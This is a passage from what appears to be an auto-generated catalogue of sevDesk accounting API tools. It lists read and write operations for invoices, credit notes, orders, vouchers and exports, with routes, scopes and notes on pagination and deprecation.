Scopes: api. sevdesk_get_contactcustomfieldsetting_by_contactcustomfieldsettingid (read) — Find contact field setting by ID via GET /ContactCustomFieldSetting/{contactCustomFieldSettingId}. Returns a single contact field setting GET /api/v1/sevdesk/ContactCustomFieldSetting/{contactCustomFieldSettingId}. Scopes: api. sevdesk_get_contactcustomfieldsetting_by_contactcustomfieldsettingid_getreferencecount (read) — Receive count reference via GET /ContactCustomFieldSetting/{contactCustomFieldSettingId}/getReferenceCount GET /api/v1/sevdesk/ContactCustomFieldSetting/{contactCustomFieldSettingId}/getReferenceCount. Scopes: api. sevdesk_get_creditnote (read) — Retrieve CreditNote via GET /CreditNote. There are a multitude of parameter which can be used to filter. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/CreditNote. Scopes: api. sevdesk_get_creditnote_by_creditnoteid (read) — Find creditNote by ID via GET /CreditNote/{creditNoteId}. Returns a single creditNote GET /api/v1/sevdesk/CreditNote/{creditNoteId}. Scopes: api. sevdesk_get_creditnote_by_creditnoteid_getpdf (read) — Retrieve pdf document of a credit note via GET /CreditNote/{creditNoteId}/getPdf. Retrieves the pdf document of a credit note with additional metadata. GET /api/v1/sevdesk/CreditNote/{creditNoteId}/getPdf. Scopes: api. sevdesk_get_creditnote_by_creditnoteid_sendbywithrender (read) — Send credit note by printing via GET /CreditNote/{creditNoteId}/sendByWithRender. Sending a credit note to end-customers is an important part of the bookkeeping process.<br> Depending on the way you want to send the credit note, you need to use different endpoints.<br> Let's start with just printing out the credit note, meaning we only need to render the pdf. GET /api/v1/sevdesk/CreditNote/{creditNoteId}/sendByWithRender. Scopes: api. sevdesk_get_creditnotepos (read) — Retrieve creditNote positions via GET /CreditNotePos. Retrieve all creditNote positions depending on the filters defined in the query. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/CreditNotePos. Scopes: api. sevdesk_get_docserver_getletterpaperswiththumb (read) — Retrieve letterpapers via GET /DocServer/getLetterpapersWithThumb. Retrieve all letterpapers with Thumb This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/DocServer/getLetterpapersWithThumb. Scopes: api. sevdesk_get_docserver_gettemplateswiththumb (read) — Retrieve templates via GET /DocServer/getTemplatesWithThumb. Retrieve all templates This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/DocServer/getTemplatesWithThumb. Scopes: api. sevdesk_get_export_contactlistcsv (read) — Export contact via GET /Export/contactListCsv. Contact export as csv This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/contactListCsv. Scopes: api. sevdesk_get_export_createdatevcsvzipexportjob (read) — Start DATEV CSV ZIP export via GET /Export/createDatevCsvZipExportJob. Start an export that generates booking data in the DATEV format (CSV) Before you can perform the DATEV export, you first have to set the "accountingYearBegin". To do this, use the endpoint <a href='#tag/Export/operation/updateExportConfig'>updateExportConfig</a>. After that you can use the createDatevCsvZipExportJob endpoint to start the DATEV export which returns the export ID. You have to use the <a href='#tag/Export/operation/jobDownloadInfo'>jobDownloadInfo</a> endpoint to receive the download url when the export is ready. <h3>Export workflow</h2> To get the DATEV CSV zip file, please implement the following workflow. <ol> <li>Set the accountingYearBegin (if not already set) via <a href='#tag/Export/operation/updateExportConfig'>updateExportConfig</a></li> <li>Start the export by using the createDatevCsvZipExportJob endpoint</li> <li>Request a progressHash with endpoint <a href='#tag/Export/operation/generateDownloadHash'>generateDownloadHash</a> (optional)</li> <li>Use the progressHash to receive export progress information with endpoint <a href='#tag/Export/operation/getProgress'>getProgress</a> (optional)</li> <li>Use the <a href='#tag/Export/operation/jobDownloadInfo'>jobDownloadInfo</a> endpoint to get the download url to the zip file.</li> </ol> This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/createDatevCsvZipExportJob. Scopes: api. sevdesk_get_export_createdatevxmlzipexportjob (read) — Start DATEV XML ZIP export via GET /Export/createDatevXmlZipExportJob. Start an export that generates invoice data in the DATEV format (XML) Before you can perform the DATEV export, you first have to set the "accountingYearBegin". To do this, use the endpoint <a href='#tag/Export/operation/updateExportConfig'>updateExportConfig</a>. After that you can use the createDatevXmlZipExportJob endpoint to start the DATEV export which returns the export ID. You have to use the <a href='#tag/Export/operation/jobDownloadInfo'>jobDownloadInfo</a> endpoint to receive the download url when the export is ready. <h3>Export workflow</h2> To get the DATEV XML zip file, please implement the following workflow. <ol> <li>Set the accountingYearBegin (if not already set) via <a href='#tag/Export/operation/updateExportConfig'>updateExportConfig</a></li> <li>Start the export by using the createDatevXmlZipExportJob endpoint</li> <li>Request a progressHash with endpoint <a href='#tag/Export/operation/generateDownloadHash'>generateDownloadHash</a> (optional)</li> <li>Use the progressHash to receive export progress information with endpoint <a href='#tag/Export/operation/getProgress'>getProgress</a> (optional)</li> <li>Use the <a href='#tag/Export/operation/jobDownloadInfo'>jobDownloadInfo</a> endpoint to get the download url to the zip file.</li> </ol> This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/createDatevXmlZipExportJob. Scopes: api. sevdesk_get_export_creditnotecsv (read) — Export creditNote via GET /Export/creditNoteCsv. Export all credit notes as csv This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/creditNoteCsv. Scopes: api. sevdesk_get_export_datevcsv (read) — Export datev via GET /Export/datevCSV. DATEV export as zip with CSVs. Before you can perform the DATEV export, you must first set the "accountingYearBegin". To do this, you must use the <a href='#tag/Export/operation/updateExportConfig'>updateExportConfig</a> endpoint. Please note, that this endpoint is deprecated. You should use the endpoint <a href='#tag/Export/operation/exportDatevCSV'>/Export/createDatevCsvZipExportJob</a>. sevDesk marks this operation DEPRECATED in its own specification. It still answers, and sevDesk announces removals in advance, but prefer the replacement its reference names before building on this one. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/datevCSV. Scopes: api. sevdesk_get_export_invoicecsv (read) — Export invoice via GET /Export/invoiceCsv. Export all invoices as csv This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/invoiceCsv. Scopes: api. sevdesk_get_export_invoicezip (read) — Export Invoice as zip via GET /Export/invoiceZip. Export all invoices as zip This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/invoiceZip. Scopes: api. sevdesk_get_export_transactionscsv (read) — Export transaction via GET /Export/transactionsCsv. Export all transactions as csv This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/transactionsCsv. Scopes: api. sevdesk_get_export_voucherlistcsv (read) — Export voucher as zip via GET /Export/voucherListCsv. Export all vouchers as zip This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/voucherListCsv. Scopes: api. sevdesk_get_export_voucherzip (read) — Export voucher zip via GET /Export/voucherZip. export all vouchers as zip This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Export/voucherZip. Scopes: api. sevdesk_get_exportjob_jobdownloadinfo (read) — Get job download info via GET /ExportJob/jobDownloadInfo. When the export job has finished you can call this endpoint to get the download url. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ExportJob/jobDownloadInfo. Scopes: api. sevdesk_get_invoice (read) — Retrieve invoices via GET /Invoice. There are a multitude of parameter which can be used to filter. A few of them are attached but for a complete list please check out <a href='#tag/Invoice/How-to-filter-for-certain-invoices'>this</a> list This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Invoice. Scopes: api. sevdesk_get_invoice_by_invoiceid (read) — Find invoice by ID via GET /Invoice/{invoiceId}. Returns a single invoice GET /api/v1/sevdesk/Invoice/{invoiceId}. Scopes: api. sevdesk_get_invoice_by_invoiceid_getispartiallypaid (read) — Check if an invoice is already partially paid via GET /Invoice/{invoiceId}/getIsPartiallyPaid. Returns 'true' if the given invoice is partially paid - 'false' if it is not. Invoices which are completely paid are regarded as not partially paid. GET /api/v1/sevdesk/Invoice/{invoiceId}/getIsPartiallyPaid. Scopes: api. sevdesk_get_invoice_by_invoiceid_getpdf (read) — Retrieve pdf document of an invoice via GET /Invoice/{invoiceId}/getPdf. Retrieves the pdf document of an invoice with additional metadata. GET /api/v1/sevdesk/Invoice/{invoiceId}/getPdf. Scopes: api. sevdesk_get_invoice_by_invoiceid_getpositions (read) — Find invoice positions via GET /Invoice/{invoiceId}/getPositions. Returns all positions of an invoice sevDesk returns {"total": "157", "objects": [...]}, and `limit` with `offset` is the only way through a large collection. Send both explicitly. GET /api/v1/sevdesk/Invoice/{invoiceId}/getPositions. Scopes: api. sevdesk_get_invoice_by_invoiceid_getxml (read) — Retrieve XML of an e-invoice via GET /Invoice/{invoiceId}/getXml. Retrieves the XML of an e-invoice GET /api/v1/sevdesk/Invoice/{invoiceId}/getXml. Scopes: api. sevdesk_get_invoicepos (read) — Retrieve InvoicePos via GET /InvoicePos. There are a multitude of parameter which can be used to filter. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/InvoicePos. Scopes: api. sevdesk_get_order (read) — Retrieve orders via GET /Order. There are a multitude of parameter which can be used to filter. A few of them are attached but for a complete list please check out <a href='#tag/Order/How-to-filter-for-certain-orders'>this</a> list This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Order. Scopes: api. sevdesk_get_order_by_orderid (read) — Find order by ID via GET /Order/{orderId}. Returns a single order GET /api/v1/sevdesk/Order/{orderId}. Scopes: api. sevdesk_get_order_by_orderid_getdiscounts (read) — Find order discounts via GET /Order/{orderId}/getDiscounts. Returns all discounts of an order sevDesk returns {"total": "157", "objects": [...]}, and `limit` with `offset` is the only way through a large collection. Send both explicitly. GET /api/v1/sevdesk/Order/{orderId}/getDiscounts. Scopes: api. sevdesk_get_order_by_orderid_getpdf (read) — Retrieve pdf document of an order via GET /Order/{orderId}/getPdf. Retrieves the pdf document of an order with additional metadata and commit the order. GET /api/v1/sevdesk/Order/{orderId}/getPdf. Scopes: api. sevdesk_get_order_by_orderid_getpositions (read) — Find order positions via GET /Order/{orderId}/getPositions. Returns all positions of an order sevDesk returns {"total": "157", "objects": [...]}, and `limit` with `offset` is the only way through a large collection. Send both explicitly. GET /api/v1/sevdesk/Order/{orderId}/getPositions. Scopes: api. sevdesk_get_order_by_orderid_getrelatedobjects (read) — Find related objects via GET /Order/{orderId}/getRelatedObjects. Get related objects of a specified order GET /api/v1/sevdesk/Order/{orderId}/getRelatedObjects. Scopes: api. sevdesk_get_orderpos (read) — Retrieve order positions via GET /OrderPos. Retrieve all order positions depending on the filters defined in the query. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/OrderPos. Scopes: api. sevdesk_get_orderpos_by_orderposid (read) — Find order position by ID via GET /OrderPos/{orderPosId}. Returns a single order position GET /api/v1/sevdesk/OrderPos/{orderPosId}. Scopes: api. sevdesk_get_part (read) — Retrieve parts via GET /Part. Retrieve all parts in your sevdesk inventory according to the applied filters. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Part. Scopes: api. sevdesk_get_part_by_partid (read) — Find part by ID via GET /Part/{partId}. Returns a single part GET /api/v1/sevdesk/Part/{partId}. Scopes: api. sevdesk_get_part_by_partid_getstock (read) — Get stock of a part via GET /Part/{partId}/getStock. Returns the current stock amount of the given part. GET /api/v1/sevdesk/Part/{partId}/getStock. Scopes: api. sevdesk_get_privatetransactionrule (read) — List existing rules via GET /PrivateTransactionRule. List all existing rules you defined for automated marking private transactions. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/PrivateTransactionRule. Scopes: api. sevdesk_get_progress_generatedownloadhash (read) — Generate download hash via GET /Progress/generateDownloadHash. Generates an identifier to request the current export progress. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Progress/generateDownloadHash. Scopes: api. sevdesk_get_progress_getprogress (read) — Get progress via GET /Progress/getProgress. Get the progress state of the export. You can use polling (request every few seconds) to get the current state. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Progress/getProgress. Scopes: api. sevdesk_get_receiptguidance_foraccountnumber (read) — Get guidance by account number via GET /ReceiptGuidance/forAccountNumber. You can use this endpoint to get additional information about the account that you may want to use. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ReceiptGuidance/forAccountNumber. Scopes: api. sevdesk_get_receiptguidance_forallaccounts (read) — Get all account guides via GET /ReceiptGuidance/forAllAccounts. You can use this endpoint to help you decide which accounts you can use when creating a voucher This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ReceiptGuidance/forAllAccounts. Scopes: api. sevdesk_get_receiptguidance_forexpense (read) — Get guidance for expense accounts via GET /ReceiptGuidance/forExpense. Provides all possible combinations for expense accounts to be used with expense receipts/vouchers. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ReceiptGuidance/forExpense. Scopes: api. sevdesk_get_receiptguidance_forrevenue (read) — Get guidance for revenue accounts via GET /ReceiptGuidance/forRevenue. Provides all possible combinations for revenue accounts to be used with revenue receipts/vouchers. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ReceiptGuidance/forRevenue. Scopes: api. sevdesk_get_receiptguidance_fortaxrule (read) — Get guidance by Tax Rule via GET /ReceiptGuidance/forTaxRule. You can use this endpoint to get additional information about the tax rule (for example, USTPFL_UMS_EINN) that you may want to use. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ReceiptGuidance/forTaxRule. Scopes: api. sevdesk_get_report_contactlist (read) — Export contact list via GET /Report/contactlist. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Report/contactlist. Scopes: api. sevdesk_get_report_invoicelist (read) — Export invoice list via GET /Report/invoicelist. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Report/invoicelist. Scopes: api. sevdesk_get_report_orderlist (read) — Export order list via GET /Report/orderlist. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Report/orderlist. Scopes: api. sevdesk_get_report_voucherlist (read) — Export voucher list via GET /Report/voucherlist. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Report/voucherlist. Scopes: api. sevdesk_get_tag (read) — Retrieve tags via GET /Tag. Retrieve all tags This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Tag. Scopes: api. sevdesk_get_tag_by_tagid (read) — Find tag by ID via GET /Tag/{tagId}. Returns a single tag GET /api/v1/sevdesk/Tag/{tagId}. Scopes: api. sevdesk_get_tagrelation (read) — Retrieve tag relations via GET /TagRelation. Retrieve all tag relations This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/TagRelation. Scopes: api. sevdesk_get_textparser_fetchdictionaryentriesbytype (read) — Retrieve Placeholders via GET /Textparser/fetchDictionaryEntriesByType. Retrieve all Placeholders This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Textparser/fetchDictionaryEntriesByType. Scopes: api. sevdesk_get_tools_bookkeepingsystemversion (read) — Retrieve bookkeeping system version via GET /Tools/bookkeepingSystemVersion. To check if you already received the update to version 2.0 you can use this endpoint. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Tools/bookkeepingSystemVersion. Scopes: api. sevdesk_get_voucher (read) — Retrieve vouchers via GET /Voucher. There are a multitude of parameter which can be used to filter. A few of them are attached but for a complete list please check out <a href='#tag/Voucher/How-to-filter-for-certain-vouchers'>this</a> list This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Voucher. Scopes: api. sevdesk_get_voucher_by_voucherid (read) — Find voucher by ID via GET /Voucher/{voucherId}. Returns a single voucher GET /api/v1/sevdesk/Voucher/{voucherId}. Scopes: api. sevdesk_get_voucherpos (read) — Retrieve voucher positions via GET /VoucherPos. Retrieve all voucher positions depending on the filters defined in the query. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/VoucherPos. Scopes: api. sevdesk_post_accountingcontact (write) — Create a new accounting contact via POST /AccountingContact. Creates a new accounting contact. POST /api/v1/sevdesk/AccountingContact. Scopes: api. sevdesk_post_checkaccount_factory_clearingaccount (write) — Create a new clearing account via POST /CheckAccount/Factory/clearingAccount. Creates a new clearing account. POST /api/v1/sevdesk/CheckAccount/Factory/clearingAccount. Scopes: api. sevdesk_post_checkaccount_factory_fileimportaccount (write) — Create a new file import account via POST /CheckAccount/Factory/fileImportAccount. Creates a new banking account for file imports (CSV, MT940). POST /api/v1/sevdesk/CheckAccount/Factory/fileImportAccount. Scopes: api. sevdesk_post_checkaccounttransaction (write) — Create a new transaction via POST /CheckAccountTransaction. Creates a new transaction on a check account. This should only be used with check account type online, preferably for csv import accounts. POST /api/v1/sevdesk/CheckAccountTransaction. Scopes: api. sevdesk_post_communicationway (write) — Create a new contact communication way via POST /CommunicationWay. Creates a new contact communication way. POST /api/v1/sevdesk/CommunicationWay. Scopes: api. sevdesk_post_contact (write) — Create a new contact via POST /Contact. Creates a new contact.<br> For adding addresses and communication ways, you will need to use the ContactAddress and CommunicationWay endpoints. POST /api/v1/sevdesk/Contact. Scopes: api. sevdesk_post_contactaddress (write) — Create a new contact address via POST /ContactAddress. Creates a new contact address. POST /api/v1/sevdesk/ContactAddress. Scopes: api. sevdesk_post_contactcustomfield (write) — Create contact field via POST /ContactCustomField POST /api/v1/sevdesk/ContactCustomField. Scopes: api. sevdesk_post_contactcustomfieldsetting (write) — Create contact field setting via POST /ContactCustomFieldSetting POST /api/v1/sevdesk/ContactCustomFieldSetting. Scopes: api. sevdesk_post_creditnote_by_creditnoteid_sendviaemail (write) — Send credit note via email via POST /CreditNote/{creditNoteId}/sendViaEmail. This endpoint sends the specified credit note to a customer via email.<br> This will automatically mark the credit note as sent.<br> Please note, that in production an credit note is not allowed to be changed after this happened! POST /api/v1/sevdesk/CreditNote/{creditNoteId}/sendViaEmail. Scopes: api. sevdesk_post_creditnote_factory_createfrominvoice (write) — Creates a new creditNote from an invoice via POST /CreditNote/Factory/createFromInvoice. Use this endpoint to create a new creditNote from an invoice. POST /api/v1/sevdesk/CreditNote/Factory/createFromInvoice. Scopes: api. sevdesk_post_creditnote_factory_createfromvoucher (write) — Creates a new creditNote from a voucher via POST /CreditNote/Factory/createFromVoucher. **Not supported with sevdesk-Update 2.0** Use this endpoint to create a new creditNote from a voucher. POST /api/v1/sevdesk/CreditNote/Factory/createFromVoucher. Scopes: api. sevdesk_post_creditnote_factory_savecreditnote (write) — Create a new creditNote via POST /CreditNote/Factory/saveCreditNote. The list of parameters starts with the credit note array.<br> This array contains all required attributes for a complete credit note.<br> Most of the attributes are covered in the credit note attribute list, there are only two parameters standing out, namely <b>mapAll</b> and <b>objectName</b>.<br> These are just needed for our system and you always need to provide them.<br> The list of parameters then continues with the credit note position array.<br> With this array you have the possibility to add multiple positions at once.<br> In the example it only contains one position, again together with the parameters <b>mapAll</b> and <b>objectName</b>, however, you can add more credit note positions by extending the array.<br> So if you wanted to add another position, you would add the same list of parameters with an incremented array index of "1" instead of "0".<br><br> The list ends with the five parameters creditNotePosDelete, discountSave, discountDelete, takeDefaultAddress and forCashRegister.<br> They only play a minor role if you only want to create a credit note but we will shortly explain what they can do.<br> With creditNotePosDelete you have to option to delete credit note positions as this request can also be used to update credit notes.<br> Both discount parameters are deprecated and have no use for credit notes, however they need to be provided in case you want to use the following two parameters.<br> With takeDefaultAddress you can specify that the first address of the contact you are using for the credit note is taken for the credit note address attribute automatically, so you don't need to provide the address yourself.<br> Finally, the forCashRegister parameter needs to be set to <b>true</b> if your credit note is to be booked on the cash register.<br> If you want to know more about these parameters, for example if you want to use this request to update credit notes, feel free to contact our support.<br> Finally, after covering all parameters, they only important information left, is that the order of the last five attributes always needs to be kept.<br> You will also always need to provide all of them, as otherwise the request won't work properly. sevDesk marks this operation DEPRECATED in its own specification. It still answers, and sevDesk announces removals in advance, but prefer the replacement its reference names before building on this one. POST /api/v1/sevdesk/CreditNote/Factory/saveCreditNote. Scopes: api. sevdesk_post_invoice_by_invoiceid_cancelinvoice (write) — Cancel an invoice / Create cancellation invoice via POST /Invoice/{invoiceId}/cancelInvoice. This endpoint will cancel the specified invoice therefor creating a cancellation invoice.<br> The cancellation invoice will be automatically paid and the source invoices status will change to 'cancelled'. POST /api/v1/sevdesk/Invoice/{invoiceId}/cancelInvoice. Scopes: api. sevdesk_post_invoice_by_invoiceid_render (write) — Render the pdf document of an invoice via POST /Invoice/{invoiceId}/render. Using this endpoint you can render the pdf document of an invoice.<br> Use cases for this are the retrieval of the pdf location or the forceful re-render of a already sent invoice.<br> Please be aware that changing an invoice after it has been sent to a customer is not an allowed bookkeeping process. POST /api/v1/sevdesk/Invoice/{invoiceId}/render. Scopes: api. sevdesk_post_invoice_by_invoiceid_sendviaemail (write) — Send invoice via email via POST /Invoice/{invoiceId}/sendViaEmail. This endpoint sends the specified invoice to a customer via email.<br> This will automatically mark the invoice as sent.<br> Please note, that in production an invoice is not allowed to be changed after this happened! POST /api/v1/sevdesk/Invoice/{invoiceId}/sendViaEmail. Scopes: api. sevdesk_post_invoice_factory_createinvoicefromorder (write) — Create invoice from order via POST /Invoice/Factory/createInvoiceFromOrder. Create an invoice from an order POST /api/v1/sevdesk/Invoice/Factory/createInvoiceFromOrder. Scopes: api. sevdesk_post_invoice_factory_createinvoicereminder (write) — Create invoice reminder via POST /Invoice/Factory/createInvoiceReminder. Create an reminder from an invoice POST /api/v1/sevdesk/Invoice/Factory/createInvoiceReminder. Scopes: api. sevdesk_post_invoice_factory_saveinvoice (write) — Create a new invoice via POST /Invoice/Factory/saveInvoice. This endpoint offers you the following functionality. <ul> <li>Create invoices together with positions and discounts</li> <li>Delete positions while adding new ones</li> <li>Delete or add discounts, or both at the same time</li> <li>Automatically fill the address of the supplied contact into the invoice address</li> </ul> To make your own request sample slimmer, you can omit all parameters which are not required and nullable. However, for a valid and logical bookkeeping document, you will also need some of them to ensure that all the necessary data is in the invoice.<br><br> The list of parameters starts with the invoice array.<br> This array contains all required attributes for a complete invoice.<br> Most of the attributes are covered in the invoice attribute list, there are only two parameters standing out, namely <b>mapAll</b> and <b>objectName</b>.<br> These are just needed for our system and you always need to provide them.<br><br> The list of parameters then continues with the invoice position array.<br> With this array you have the possibility to add multiple positions at once.<br> In the example it only contains one position, again together with the parameters <b>mapAll</b> and <b>objectName</b>, however, you can add more invoice positions by extending the array.<br> So if you wanted to add another position, you would add the same list of parameters with an incremented array index of "1" instead of "0".<br><br> The list ends with the four parameters invoicePosDelete, discountSave, discountDelete and takeDefaultAddress.<br> They only play a minor role if you only want to create an invoice but we will shortly explain what they can do.<br> With invoicePosDelete you have to option to delete invoice positions as this request can also be used to update invoices.<br> With discountSave you can add discounts to your invoice.<br> With discountDelete you can delete discounts from your invoice.<br> With takeDefaultAddress you can specify that the first address of the contact you are using for the invoice is taken for the invoice address attribute automatically, so you don't need to provide the address yourself.<br> If you want to know more about these parameters, for example if you want to use this request to update invoices, feel free to contact our support.<br><br> Finally, after covering all parameters, they only important information left, is that the order of the last four attributes always needs to be kept.<br> You will also always need to provide all of them, as otherwise the request won't work properly.<br><br> <b>Warning:</b> You can not create a regular invoice with the <b>deliveryDate</b> being later than the <b>invoiceDate</b>.<br> To do that you will need to create a so called <b>Abschlagsrechnung</b> by setting the <b>invoiceType</b> parameter to <b>AR</b>. POST /api/v1/sevdesk/Invoice/Factory/saveInvoice. Scopes: api. sevdesk_post_order_by_orderid_sendviaemail (write) — Send order via email via POST /Order/{orderId}/sendViaEmail. This endpoint sends the specified order to a customer via email.<br> This will automatically mark the order as sent.<br> Please note, that in production an order is not allowed to be changed after this happened! POST /api/v1/sevdesk/Order/{orderId}/sendViaEmail. Scopes: api. sevdesk_post_order_factory_createcontractnotefromorder (write) — Create contract note from order via POST /Order/Factory/createContractNoteFromOrder POST /api/v1/sevdesk/Order/Factory/createContractNoteFromOrder. Scopes: api. sevdesk_post_order_factory_createpackinglistfromorder (write) — Create packing list from order via POST /Order/Factory/createPackingListFromOrder POST /api/v1/sevdesk/Order/Factory/createPackingListFromOrder. Scopes: api. sevdesk_post_order_factory_saveorder (write) — Create a new order via POST /Order/Factory/saveOrder. Creates an order to which positions can be added later. POST /api/v1/sevdesk/Order/Factory/saveOrder. Scopes: api. sevdesk_post_part (write) — Create a new part via POST /Part. Creates a part in your sevdesk inventory. POST /api/v1/sevdesk/Part. Scopes: api. sevdesk_post_privatetransactionrule (write) — Create a new rule via POST /PrivateTransactionRule. Creates a new rule for marking private transactions automatically. POST /api/v1/sevdesk/PrivateTransactionRule. Scopes: api. sevdesk_post_tag_factory_create (write) — Create a new tag via POST /Tag/Factory/create POST /api/v1/sevdesk/Tag/Factory/create. Scopes: api. sevdesk_post_voucher_factory_savevoucher (write) — Create a new voucher via POST /Voucher/Factory/saveVoucher. Bundles the creation or updating of voucher and voucher position.<br> The list of parameters starts with the voucher model.<br> This contains all required attributes for a complete voucher.<br> Most of the attributes are covered in the voucher attribute list, there are only two parameters standing out, namely <b>mapAll</b> and <b>objectName</b>.<br> These are just needed for our system and you always need to provide them.<br><br> The list of parameters then continues with the voucher position array.<br> With this array you have the possibility to add multiple positions at once.<br> In the example it only contains one position, again together with the parameters <b>mapAll</b> and <b>objectName</b>, however, you can add more voucher positions by extending the array.<br> So if you wanted to add another position, you would add the same list of parameters with an incremented array index of \"1\" instead of \"0\".<br><br> The list ends with the two parameters voucherPosDelete and filename.<br> We will shortly explain what they can do.<br> With voucherPosDelete you can delete voucher positions as this request can also be used to update draft vouchers.<br> With filename you can attach a file to the voucher.<br> For most of our customers this is a really important step, as they need to digitize their receipts.<br> Finally, after covering all parameters, the only important information left, is that the order of the last two attributes always needs to be kept. <br><br> The only valid status values for this endpoint are 50 (draft) and 100 (open). You can only update draft vouchers. If you have to, you can downgrade the status by calling resetToOpen (from paid) and resetToDraft (from open). POST /api/v1/sevdesk/Voucher/Factory/saveVoucher. Scopes: api. sevdesk_put_accountingcontact_by_accountingcontactid (write) — Update an existing accounting contact via PUT 